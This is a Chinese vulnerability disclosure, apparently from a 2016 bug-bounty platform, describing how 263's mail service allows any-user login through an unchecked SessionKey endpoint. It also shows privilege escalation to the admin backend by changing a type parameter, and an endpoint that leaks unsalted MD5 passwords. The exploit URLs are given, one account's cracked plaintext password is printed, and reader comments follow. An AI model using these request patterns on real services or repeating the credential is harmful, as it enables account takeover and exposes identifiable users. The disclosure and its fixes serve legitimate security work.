263通信任意邮箱登录/任意邮箱密码获取/权限漂移

一、任意用户登录

影响范围：所有企业邮箱和个人邮箱。

问题站点，邮箱主系统，从www.263.net登录邮箱：

跳转接口：

http://mm.263.com/wm2e/mail/login/opt/loginAction_mailNotify.do?usr=wo&sid=MHc1bzVvMHk3dTluMUA2MjQ2&time=1456462288430

未验证sid，无需登录，即可获取任意用户的SessionKey：

http://mm.263.com/wm2e/mail/login/opt/loginAction_mailNotify.do?usr=ad

有了SessionKey，来试试能否登录：

：

个人邮箱（天下邮）通杀（）：

各种找回域管理员密码的邮件：

二、权限漂移。

普通用户可直接进入管理员后台，影响范围：用户所属的域。

问题站点：http://ma.263em.com/

正常管理员登录，有如下接口：

http://ma.263em.com/user!login.action?node_id=csp_index&type=2&sessionKey=***&userName=***&bindid=000000&emtype=pc

普通用户登录：

http://ma.263em.com/user!login.action?node_id=csp_index&type=1&sessionkey=***&user=***&bindid=000000&emtype=pc

发现，其实就type不同，然后参数名不一样，实际上还是用的SessionKey登录。

修改普通用户登录的type和参数名即可登录管理后台：

（）

管理群：

这里又有越权，可查看其他域的群：

查询群成员：

http://ma.263em.com/group!memberList?groupId=532060

解散群，移交管理员权限同样有越权，请厂商自查。

遍历groupId即可：

权限，账单，消息推送等：

二、任意邮箱密码获取。

还是上面的EM管理平台，权限管理：

接口：

http://ma.263em.com/em!list

直接泄露密码：

MD5未加盐，可轻松解密，这里以jobs.chen为例：

账号：
 密码：chen0126

成功登录邮箱：

也就是普通用户可以获取整个域的邮箱密码。

长安汽车邮箱：

长安汽车密码：

为了不影响更多的企业，这里点到为止。

1、彻查所有获取SessionKey的接口。

2、后台管理系统漏洞更应该重视。

3、查询用户信息，貌似不需要返回PassWord吧。

4、md5密码加盐加密。

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2016-02-26 14:29

厂商回复：

感谢。

最新状态：

暂无

1. 2016-02-26 14:06 | JGHOOluwa ( 普通白帽子 | Rank:556 漏洞数:88 | 就是来看看大牛们如何超神的^-^)

   1

   ...已经不能愉快地玩耍了

   1# 回复此人

2. 2016-02-26 14:08 | 李旭敏 ( 普通白帽子 | Rank:848 漏洞数:116 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

   1

   权限漂移？

   2# 回复此人

3. 2016-02-26 14:09 | 牛 小 帅 ( 普通白帽子 | Rank:1597 漏洞数:386 | bye)

   1

   玩坏了 第四次 还是第五次了

   3# 回复此人

4. 2016-02-26 14:14 | 江南疯子 ( 实习白帽子 | Rank:42 漏洞数:10 | 多提漏洞)

   2

   263不淡定了，该坐不住了，赶紧查查白帽子ID，私下贿赂一点，不能这么玩下去了。

   4# 回复此人

5. 2016-02-26 14:15 | Dota ( 普通白帽子 | Rank:116 漏洞数:36 | 浪里个浪。。)

   1

   刘明

   5# 回复此人

6. 2016-02-26 15:38 | 库日天 ( 路人 | Rank:18 漏洞数:9 )

   2

   权限漂移这个是个啥姿势啊、、、、

   6# 回复此人

7. 2016-02-26 16:37 | nextdoor ( 普通白帽子 | Rank:332 漏洞数:75 | Just for fun)

   1

   权限漂移什么鬼

   7# 回复此人

8. 2016-02-26 16:41 | 风情万种 ( 普通白帽子 | Rank:195 漏洞数:66 | 不再相信爱了)

   1

   权限漂移什么鬼

   8# 回复此人